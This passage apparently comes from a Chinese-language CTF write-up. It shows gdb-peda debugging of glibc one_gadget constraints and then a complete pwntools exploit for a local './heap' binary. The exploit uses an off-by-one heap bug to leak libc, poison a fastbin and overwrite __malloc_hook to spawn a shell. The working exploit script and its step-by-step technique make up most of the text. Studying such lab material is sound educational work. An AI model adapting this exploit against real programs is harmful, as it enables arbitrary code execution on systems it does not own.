   0x7ffff7a52271 <do_system+1105>:   lea    rdi,[rip+0x147adf]        # 0x7ffff7b99d57
   0x7ffff7a52278 <do_system+1112>:   lea    rsi,[rsp+0x30]
   0x7ffff7a5227d <do_system+1117>:   mov    DWORD PTR [rip+0x381219],0x0        # 0x7ffff7dd34a0 <lock>
   0x7ffff7a52287 <do_system+1127>:   mov    DWORD PTR [rip+0x381213],0x0        # 0x7ffff7dd34a4 <sa_refcntr>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe088 --> 0x400a3c (<create+316>:   mov    rcx,rax)
0008| 0x7fffffffe090 --> 0x10f7fdd000
0016| 0x7fffffffe098 --> 0x400000004
0024| 0x7fffffffe0a0 ("trigger exploit\n")
0032| 0x7fffffffe0a8 ("exploit\n")
0040| 0x7fffffffe0b0 --> 0xfff7a5226a474700
0048| 0x7fffffffe0b8 --> 0x474747474700007f
0056| 0x7fffffffe0c0 ('G' <repeats 72 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, do_system (line=0x0) at ../sysdeps/posix/system.c:136
136 ../sysdeps/posix/system.c: Datei oder Verzeichnis nicht gefunden.
gdb-peda$ x/xg $rsp+0x30
0x7fffffffe0b8: 0x474747474700007f

[rsp+0x30]的值是0x474747474700007f,这个也不能成功。0x474747似乎是我们写入的GGG… ,我们可以把这部分内容改为null,但是我们没法控制整个四字。所以接着查看下一个one gadget(条件为 [rsp + 0x50] == NULL):

#oneshot_offset = 0x45216
#oneshot_offset = 0x4526a
oneshot_offset = 0xf02a4
#oneshot_offset = 0xf1147
...
gdb-peda$ b *(0x7ffff7a0d000 + 0xf02a4)
Haltepunkt 1 at 0x7ffff7afd2a4: file wordexp.c, line 876.
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7afd2a4 (<exec_comm+1140>:    mov    rax,QWORD PTR [rip+0x2d3c0d]        # 0x7ffff7dd0eb8)
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0x20 (' ')
RSI: 0x400a3c (<create+316>:  mov    rcx,rax)
RDI: 0x10
RBP: 0x7fffffffe4b0 --> 0x7fffffffe4d0 --> 0x400bd0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe088 --> 0x400a3c (<create+316>:    mov    rcx,rax)
RIP: 0x7ffff7afd2a4 (<exec_comm+1140>:    mov    rax,QWORD PTR [rip+0x2d3c0d]        # 0x7ffff7dd0eb8)
R8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)
R9 : 0x6
R10: 0x7ffff7b845e0 --> 0x2000200020002
R11: 0x246
R12: 0x400740 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7afd296 <exec_comm+1126>:   call   0x7ffff7a46d00 <__unsetenv>
   0x7ffff7afd29b <exec_comm+1131>:   mov    edi,DWORD PTR [rsp+0x40]
   0x7ffff7afd29f <exec_comm+1135>:   call   0x7ffff7b048e0 <close>
=> 0x7ffff7afd2a4 <exec_comm+1140>:    mov    rax,QWORD PTR [rip+0x2d3c0d]        # 0x7ffff7dd0eb8
   0x7ffff7afd2ab <exec_comm+1147>:   lea    rsi,[rsp+0x50]
   0x7ffff7afd2b0 <exec_comm+1152>:   lea    rdi,[rip+0x9caa0]        # 0x7ffff7b99d57
   0x7ffff7afd2b7 <exec_comm+1159>:   mov    rdx,QWORD PTR [rax]
   0x7ffff7afd2ba <exec_comm+1162>:   call   0x7ffff7ad9770 <execve>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe088 --> 0x400a3c (<create+316>:   mov    rcx,rax)
0008| 0x7fffffffe090 --> 0x10f7fdd000
0016| 0x7fffffffe098 --> 0x400000004
0024| 0x7fffffffe0a0 ("trigger exploit\n")
0032| 0x7fffffffe0a8 ("exploit\n")
0040| 0x7fffffffe0b0 --> 0xfff7afd2a4474700
0048| 0x7fffffffe0b8 --> 0x474747474700007f
0056| 0x7fffffffe0c0 ('G' <repeats 72 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, exec_comm_child (noexec=<optimized out>, showerr=<optimized out>, fildes=0x7fffffffe0c8,
    comm=0xa74696f6c707865 <error: Cannot access memory at address 0xa74696f6c707865>) at wordexp.c:876
876 wordexp.c: Datei oder Verzeichnis nicht gefunden.
gdb-peda$ x/xg $rsp+0x50
0x7fffffffe0d8: 0x4747474747474747

这一次[rsp+0x50]的值为0x4747474747474747这个条件并不满足,但是这个值是我们可以直接控制整个四字的,只需要把 GGG…. 修改为 null-bytes…

# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)
# will return the address of hook from the fastbin-list
# --> store the address of oneshot in __malloc_hook
oneshot = libc_base + oneshot_offset
create(0x68, 0x13*'G'+p64(oneshot)+0x4d*'\x00')

# since __malloc_hook is set now, the next call to malloc will
# call the address stored there (oneshot)
create(0x20, 'trigger exploit')

接着确定[rsp+ 0x50]是null:

gdb-peda$ b *(0x7ffff7a0d000 + 0xf02a4)
Haltepunkt 1 at 0x7ffff7afd2a4: file wordexp.c, line 876.
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7afd2a4 (<exec_comm+1140>:    mov    rax,QWORD PTR [rip+0x2d3c0d]        # 0x7ffff7dd0eb8)
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0x20 (' ')
RSI: 0x400a3c (<create+316>:  mov    rcx,rax)
RDI: 0x10
RBP: 0x7fffffffe4b0 --> 0x7fffffffe4d0 --> 0x400bd0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe088 --> 0x400a3c (<create+316>:    mov    rcx,rax)
RIP: 0x7ffff7afd2a4 (<exec_comm+1140>:    mov    rax,QWORD PTR [rip+0x2d3c0d]        # 0x7ffff7dd0eb8)
R8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)
R9 : 0x6
R10: 0x7ffff7b845e0 --> 0x2000200020002
R11: 0x246
R12: 0x400740 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7afd296 <exec_comm+1126>:   call   0x7ffff7a46d00 <__unsetenv>
   0x7ffff7afd29b <exec_comm+1131>:   mov    edi,DWORD PTR [rsp+0x40]
   0x7ffff7afd29f <exec_comm+1135>:   call   0x7ffff7b048e0 <close>
=> 0x7ffff7afd2a4 <exec_comm+1140>:    mov    rax,QWORD PTR [rip+0x2d3c0d]        # 0x7ffff7dd0eb8
   0x7ffff7afd2ab <exec_comm+1147>:   lea    rsi,[rsp+0x50]
   0x7ffff7afd2b0 <exec_comm+1152>:   lea    rdi,[rip+0x9caa0]        # 0x7ffff7b99d57
   0x7ffff7afd2b7 <exec_comm+1159>:   mov    rdx,QWORD PTR [rax]
   0x7ffff7afd2ba <exec_comm+1162>:   call   0x7ffff7ad9770 <execve>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe088 --> 0x400a3c (<create+316>:   mov    rcx,rax)
0008| 0x7fffffffe090 --> 0x10f7fdd000
0016| 0x7fffffffe098 --> 0x400000004
0024| 0x7fffffffe0a0 ("trigger exploit\n")
0032| 0x7fffffffe0a8 ("exploit\n")
0040| 0x7fffffffe0b0 --> 0xfff7afd2a4474700
0048| 0x7fffffffe0b8 --> 0x7f
0056| 0x7fffffffe0c0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, exec_comm_child (noexec=<optimized out>, showerr=<optimized out>, fildes=0x7fffffffe0c8,
    comm=0xa74696f6c707865 <error: Cannot access memory at address 0xa74696f6c707865>) at wordexp.c:876
876 wordexp.c: Datei oder Verzeichnis nicht gefunden.
gdb-peda$ x/xg $rsp+0x50
0x7fffffffe0d8: 0x0000000000000000

现在[rsp+ 0x50]的值为 0x0000000000000000,条件满足

Final Exploit

#!/usr/bin/env python

from pwn import *

p = process('./heap')

def create(size, data):
  p.sendlineafter('>', str(1))
  p.sendlineafter('size: ', str(size))
  p.sendlineafter('data: ', data)

def delete(idx):
  p.sendlineafter('>', str(2))
  p.sendlineafter('idx: ', str(idx))

def printData(idx):
  p.sendlineafter('>', str(3))
  p.sendlineafter('idx: ', str(idx))
  p.recvuntil('data: ')
  ret = p.recvuntil('\n')
  return ret[:-1]


libc_offset    = 0x3c4b78
hook_offset    = 0x3c4aed
#oneshot_offset = 0x45216
#oneshot_offset = 0x4526a
oneshot_offset = 0xf02a4
#oneshot_offset = 0xf1147


create(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0
create(0x68, 'B'*0x68) # chunk_BBB, idx = 1
create(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2
create(0x10, 'D'*0x10) # chunk_DDD, idx = 3

# chunk_AAA will be a valid free chunk (containing libc-addresses in FD/BK)
delete(0)

# leverage off-by-one vuln in chunk_BBB:
# overwrite prev_inuse bit of following chunk (chunk_CCC)
delete(1)
create(0x68, 'B'*0x68) # chunk_BBB, new idx = 0

# set prev_size of following chunk (chunk_CCC) to 0x170
for i in range(0x66, 0x5f, -1):
  delete(0)
  create(i+2, 'B'*i + '\x70\x01') # chunk_BBB, new_idx = 0

# now delete chunk_CCC to trigger consolidation with the fakechunk (0x170)
# after this we have got a big free chunk (0x270) overlapping with chunk_BBB
delete(2)

# create a new chunk (chunk_EEE) within the big free chunk to push
# the libc-addresses (fd/bk) down to chunk_BBB
create(0xf6, 'E'*0xf6) # chunk_EEE, new_idx = 1

# the content of chunk_BBB now contains fd/bk (libc-addresses)
# just print the chunk (idx = 0)
libc_leak = printData(0)
libc_leak = unpack(libc_leak + (8-len(libc_leak))*'\x00', 64)
libc_base = libc_leak - libc_offset
log.info('libc_base: ' + hex(libc_base))

# restore the size field (0x70) of chunk_BBB
for i in range(0xfd, 0xf7, -1):
  delete(1)
  create(i+1, 'E'*i + '\x70') # chunk_EEE, new_idx = 1

# free chunk_BBB: the address of the chunk is added to the fastbin-list
delete(0)
# free chunk_EEE
delete(1)

# create another new chunk (chunk_FFF) within the big free chunk which
# will set the fd of the free'd fastbin chunk_BBB to the address of hook
hook = libc_base + hook_offset
create(0x108, 'F'*0x100 + p64(hook)) # new_idx = 0

# restore the size field (0x70) of the free'd chunk_BBB
for i in range(0xfe, 0xf7, -1):
  delete(0)
  create(i+8, 'F'*i + p64(0x70)) # new_idx = 0

# now recreate chunk_BBB
# -> this will add the address in fd (hook) to the fastbin-list
create(0x68, 'B'*0x68)

# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)
# will return the address of hook from the fastbin-list
# --> store the address of oneshot in __malloc_hook
oneshot = libc_base + oneshot_offset
create(0x68, 0x13*'G'+p64(oneshot)+0x4d*'\x00')

# since __malloc_hook is set now, the next call to malloc will
# call the address stored there (oneshot)
create(0x20, 'trigger exploit')
p.interactive()